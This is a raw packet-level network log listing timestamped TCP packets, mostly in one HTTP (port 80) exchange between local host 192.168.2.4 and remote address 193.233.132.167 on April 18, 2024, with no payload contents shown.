Apr 18, 2024 23:40:16.520765066 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.520778894 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.520795107 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.520817041 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.520832062 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.520855904 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.520874977 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.520915031 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.520930052 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.520947933 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.520984888 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521004915 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521022081 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521079063 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521080971 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521127939 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521131992 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521171093 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521209002 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521243095 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521245956 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521265984 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521285057 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521323919 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521347046 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521362066 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521365881 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521399021 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521416903 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521436930 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521487951 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521493912 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521526098 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521564007 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521568060 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521585941 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521601915 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521639109 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521660089 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521676064 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521713972 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521718025 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521737099 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521750927 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521758080 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521789074 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521826029 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521842003 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521842003 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521864891 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521902084 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521928072 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521939993 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521946907 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.521985054 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.521996975 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522034883 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522037029 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522054911 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522073030 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522077084 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522110939 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522125006 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522150040 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522202015 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522203922 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522244930 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522265911 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522284031 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522296906 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522321939 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522339106 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522376060 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522377968 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522396088 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522416115 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522458076 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522471905 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522486925 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522504091 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522511005 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522522926 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522548914 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522564888 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522587061 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522598982 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522623062 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522636890 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522660971 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522674084 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522702932 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522716045 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522751093 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522753000 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522770882 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522789955 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522799015 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522828102 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522865057 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522888899 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522903919 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522927046 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522941113 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522944927 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.522979021 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.522993088 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523016930 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523053885 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523072958 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523097038 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523134947 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523155928 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523174047 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523185968 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523225069 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523262024 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523282051 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523299932 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523341894 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523364067 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523379087 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523401022 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523418903 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523422003 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523457050 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523472071 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523502111 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523514986 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523550987 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523552895 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523569107 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523591042 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523603916 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523627996 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523677111 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523714066 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523715019 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523732901 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523752928 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523752928 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523848057 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523885965 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523900032 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523909092 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.523937941 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523976088 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.523998976 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524013042 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524015903 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524050951 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524122000 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524135113 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524161100 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524189949 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524200916 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524205923 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524239063 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524276972 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524300098 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524312973 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524317026 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524352074 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524389029 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524408102 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524426937 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524461031 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524465084 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524482012 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524502993 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524540901 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524540901 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524564028 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524578094 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524602890 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524617910 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524629116 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524656057 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524696112 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524713993 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524732113 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524733067 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524746895 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524770021 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524784088 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524807930 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524820089 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524847984 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524884939 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524923086 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524924040 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524944067 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524959087 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.524967909 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.524996996 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525012970 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525033951 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525070906 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525093079 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525110006 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525118113 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525146961 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525170088 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525187016 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525201082 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525224924 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525244951 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525264025 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525274038 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525301933 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525310993 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525338888 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525358915 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525377989 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525396109 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525413036 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525418997 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525449991 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525463104 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525487900 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525499105 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525526047 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525541067 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525563955 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525583982 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525602102 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525612116 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525640011 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525651932 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525677919 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525716066 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525731087 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525752068 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525789022 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525803089 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525825977 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525832891 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525863886 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525893927 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525901079 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525923014 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525938988 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525943041 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.525978088 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.525990963 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.526016951 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.526030064 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.526055098 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.526067972 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.526093006 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.526103973 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.526129961 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.526144028 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.526170015 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.526185989 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.526535034 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.553776979 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.555998087 CEST	49761	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.558661938 CEST	49745	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:16.559972048 CEST	49762	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:16.757616043 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.757693052 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.757738113 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.757778883 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.757791996 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.757822037 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.757832050 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.757879972 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.757917881 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.757931948 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.757958889 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.757966042 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.757999897 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.758068085 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.760279894 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.760319948 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.760350943 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.760361910 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.760395050 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.760407925 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.760416985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.760462046 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.765732050 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.765774012 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.765811920 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.765846968 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.765855074 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.765872002 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.765872955 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.765888929 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.765929937 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.765944958 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.765980005 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.765989065 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766005993 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766026974 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766066074 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766077995 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766103029 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766144037 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766153097 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766160011 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766190052 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766216993 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766218901 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766264915 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766304970 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766319990 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766343117 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766381025 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766383886 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766402006 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766418934 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766421080 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766458035 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766467094 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766495943 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766506910 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766534090 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766540051 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766571045 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766592026 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766618013 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766632080 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766640902 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766669035 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766707897 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766737938 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766746998 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766783953 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766793966 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766820908 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766830921 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766859055 CEST	80	49757	193.233.132.167	192.168.2.4
